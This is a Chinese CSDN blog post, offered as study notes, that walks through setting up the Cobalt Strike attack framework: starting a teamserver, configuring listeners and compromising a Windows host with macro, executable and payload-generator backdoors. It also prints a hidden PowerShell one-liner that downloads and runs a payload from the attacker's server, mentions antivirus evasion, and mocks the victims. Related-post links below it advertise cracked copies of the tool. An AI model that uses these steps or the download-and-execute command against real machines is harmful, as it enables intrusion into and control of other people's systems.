[渗透工具——Cobalt Strike]

最新推荐文章于 2024-10-23 14:33:05 发布
最新推荐文章于 2024-10-23 14:33:05 发布
阅读量2.8k 收藏 38
点赞数 30
文章标签： web安全 安全 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_58952834/article/details/136597443
版权

文章目录

前言

本篇文章仅作为本人学习笔记，如有问题请各位大佬指正！

一、cobalt strike是什么？

Cobalt Strike是一种针对网络攻击和渗透测试的工具套件，最初是由Raphael Mudge开发的。它被广泛使用于红队行动、渗透测试和攻击模拟等领域。

Cobalt Strike提供了一系列功能，包括社交工程、恶意软件传播、漏洞利用、远程控制、数据搜集和横向渗透等。它支持多种攻击技术，如Spear Phishing、水坑攻击、中间人攻击和无线网络攻击等。

Cobalt Strike的特点之一是其灵活的协作功能。它允许多个渗透测试人员同时使用工具，共享资源和收集结果，以提高工作效率。此外，Cobalt Strike还支持与Metasploit Framework集成，以加强攻击能力。

Cobalt Strike具有友好的用户界面和强大的功能，使得它成为红队行动和渗透测试团队的首选工具之一。然而，需要强调的是，Cobalt Strike是一款强大的攻击工具，只能在合法和授权的情况下使用，以遵守法律和道德规范。
在这里插入图片描述

二、安装Cobalt Strike

1.链接

安装教程参考链接

2.Cobalt Strike启动

  • 首先，想要开启多人运动愉快的玩耍，需要先启动团队服务器（teamserver），本次实验服务器搭选择建在Kali，客户端程序选择搭建在Windows11；
sudo ./teamserver <kali的IP> <密码>
//进入到teamserver文件下,启动团队服务器

在这里插入图片描述

  • Windows客户端启动只需要点击即可，如果你的客户端在Linux，启动输入sudo ./cobaltstrike，此时会出现一个让人有难言之隐的窗口，当然，多人运动嘛，每个人必须使用不同的用户名，然后输入正确信息，轻轻点击connect慢慢的进入，打枪的不要；
    在这里插入图片描述

3.功能介绍

在这里插入图片描述

Cobalt Strike

选项作用
New Connection新建连接
Preferences设置
Visualization视图（枢纽试图、会话列表、目标列表 ）
VPN InterfaceVPN接口
Listeners监听
Script Manangers脚本管理器
Close关闭

View（查看）

选项作用
Applications显示应用信息
Credentials显示受害者凭证信息
Downloads文件下载
Event Log事件日志;连接日志及系统日志
Keystrokes键盘记录
Proxy Pivots代理
Screemshots屏幕截图
Script Console脚本控制台
Targets目标列表
Web logweb日志

Attacks（攻击）

Packages    # 生成后门
    -- HTML Aplications   # 网页后门
    -- MS Office MAcro    #office宏后门
    -- Payload Generator  #生成各种编程语言的后门
    -- Windows Executable #可执行的exe文件
    -- Windows Executable(s) #生成无状态的可执行exe文件
Web Drive—by   #web类攻击
    -- Mange  管理器
    -- Clone Site  ##克隆网站，可以记录受害者提交的数据；
    -- Host file   # 提供一个文件下载，可以修改Mime信息； 可以配合DNS欺骗实现挂马效果使用
    -- Script Web Delivery  # 类似于msf 的web_delivery 
    -- Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击
    -- Smart Applet Attack  #自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；
    -- System Profiler # 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。
 Spear Phish       #钓鱼攻击

Reporting（报告）

选项作用
Activity Report活动报告
Hosts Report主机报告
Indicators of Compromise目标报告
Sessions Report会话报告
Social Engineering Report社会工程报告
Reset Data重置数据
Export Data导出数据

4. 生成监听器

选择左上角耳机标志，在下面点击add添加，名字随意，HTTP Hosts选择服务器主机IP，端口可以任意设置，尽量设置的不要引起端口冲突

  • HTTP Hosts：木马执行以后反连的地址；
  • HTTP Host(Stager)：Stager的马请求下载Payload的地方；
  • HTTP Port（C2）：木马反弹给服务端的哪个端口；
    在这里插入图片描述

三、上线方式演示

1.宏上线（MS Office MAcro）

  • 选择攻击载荷里面的MS Office MAcro
    在这里插入图片描述
  • 生成，复制
    在这里插入图片描述
    在这里插入图片描述
  • 打开word，选择试图—宏—输入名称—创建宏—点击编辑，把复制的内容粘贴进去，保存，关闭
    在这里插入图片描述
  • 怨种点击word，显示上线成功
    在这里插入图片描述

2. .exe可执行文件上线

  • 方法如上，点击选择监听者，生成.exe文件在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
  • 大冤种打开999.exe，上线成功
    在这里插入图片描述

3. PowerShell上线

在这里插入图片描述

在这里插入图片描述

  • 将内容复制
powershell.exe -nop -w hidden -c "IEX ((new-object 
net.webclient).downloadstring('http://客户端IP:80/a'))"

在这里插入图片描述

  • 怨种打开了命令窗口，将内容粘贴进去，点击了确认
    在这里插入图片描述
  • 上线成功
    在这里插入图片描述

4. Payload Generator上线

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 生成的文件做个免杀
    在这里插入图片描述
  • 怨种点击一下，上线成功
    在这里插入图片描述

更新ing…

网安菜鸡
关注
揭秘最为知名的黑客工具之一：Cobalt Strike（非常详细）零基础入门到精通，收藏这一篇就够了
leah126的博客
09-04 1525
内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。将生成的载荷传输到目标机器并执行。
CobaltStrike4.0渗透测试手册
03-18
CobaltStrike4.0渗透测试手册
工具学习_Cobalt Strike
最新发布
kitsch0x97的博客
10-23 324
Cobalt Strike 是一款基于 java 的渗透测试神器，常被业界人称为 CS 神器。自 3.0 以后已经不在使用 Metasploit 框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和 sessions，可模拟 APT 做模拟对抗，进行内网渗透。
cobaltstrike4.3.zip
12-03
后渗透软件cs4.3
Cobalt Strike(学习笔记)
那年烟花终亦冷
06-07 3525
Cobalt Strike简介 Cobalt Strike 是一款GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。 Cobalt Strike: C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。 注：鉴于作为新人面试会用到这些基础知识，所以把简介也抄过来了。 安装Cobal
Cobalt Strike 的通信过程 & 协议
shawdow_bug的博客
10-29 3383
这是一篇个人学习笔记，想更仔细了解原理，可阅读，主要内容是利用流量分析 Beacon 与 Cobalt Strike 服务端之间的通信过程，包括。当然，流量是加密的，需要一些辅助工具或脚本，其中的功能包括，等等。
渗透工具Cobalt Strike安装使用教程
爱玩游戏的黑客的博客
11-23 6199
CS工具使用教程
CobaltStrike（钓鱼攻击工具）
F2444790591的博客
02-10 4204
一、介绍 （1）Cobalt Strike是一款渗透测试软件，分为客户端与服务端，可以进行团队分布式操作，服务端:1个，客户端:N个。 （2）Cobalt Strike集成了功能和模块:端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成。 二、使用（Cobaltstrike4.0） 1、Cobaltstrike 服务端的启动。 （1）开启Cobalt............
Cobalt Strike
来日可期的博客
10-17 950
​ Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。
cobalt strike
weixin_43873557的博客
02-08 1万+
cobalt strike（简称CS）是一款团队作战渗透测试神器，分为客户端及服务端，一个服务端可以对应多个客户端，一个客户端可以连接多个服务端。 Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成，包括站点克隆获取浏览器的相关信息等。 metasploit是一款开源框架，armitage是metasploit框架的图形化界面方式，cobalt strike是armitage
Cobalt Strike使用教程一
热门推荐
迷风小白
10-24 7万+
0x00 简介 Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。 Cobalt Strike集...
CobaltStrike
04-26
CobaltStrike破解版；
Cobalt Strike下载
04-09
cs下载，懂得人自然懂。中文版。cs下载，懂得人自然懂。中文版。cs下载，懂得人自然懂。中文版。cs下载，懂得人自然懂。中文版。cs下载，懂得人自然懂。中文版。cs下载，懂得人自然懂。中文版。
Cobalt Strike汉化版——安装与使用教程_kali安装cobaltstrike4
2401_84253894的博客
04-26 3616
Cobalt Strike是一个为对手模拟和红队行动而设计的平台，主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。分为服务器和客户端，方便团队合作。cs服务器部署在公网控制着受害者主机，而攻击者可以直接访问cs服务器进而控制受害主机，不用再通过端口转发使用msf控制受害主机，简单方便！New Connection #新建连接，支持连接多个服务器端Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
2024年网安最全Cobalt Strike汉化版——安装与使用教程_kali安装cobaltstrike4
2401_84264583的博客
05-01 2091
New Connection #新建连接，支持连接多个服务器端Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录Visualization #主要展示输出结果的视图VPN Interfaces #设置VPN接口Listenrs #创建监听器script Manager #脚本管理，可以通过Aggressorscripts脚本来加强自身，能够扩展菜单栏，Beacon命令行，提权脚本等close #退出连接2、View。
APT组织最喜欢的工具 Cobalt Strike (CS) 实战
悦分享
08-03 2316
Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具，自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，常被业界人称为CS神器。Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。...
Cobalt Strike渗透神器详解
2401_84281720的博客
04-28 750
还有一些其他的提权插件也还不错的，有兴趣可以下载试试；先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。 既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！由
黑客必备利器：如何在kali系统上安装和使用 CobaltStrik4.8
2301_76332302的博客
08-27 2378
与外部beacon类似，内部beacon是指潜伏在目标系统内部的小型程序或代码片段，定期与命令和控制（C2）服务器进行通信，以提供有关目标系统的信息或接收进一步的指令。内部beacon主要用于网络安全领域中进行威胁侦测和入侵检测。Beacon DNS：Beacon DNS是指通过DNS协议进行通信的beacon。攻击者可以使用DNS流量来与受感染系统进行通信，并通过DNS查询和响应中隐藏恶意指令或数据。Beacon HTTP：Beacon HTTP是指通过HTTP协议进行通信的beacon。
Cobalt Strike最实用的24条命令（建议收藏）
Ms08067安全实验室
12-12 1626
点击星标，即时接收最新推文Cobalt Strike的基本命令1．help命令在Cobalt Strike中，help命令没有图形化操作，只有命令行操作。在Cobalt Strike中，输入“help”命令会将Beacon的命令及相应的用法解释都列出来，输入“help 命令”会将此命令的帮助信息列出来，如图所示。help命令2．sleep命令单击右键，在弹出的快捷菜单中选择“Session”"“...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值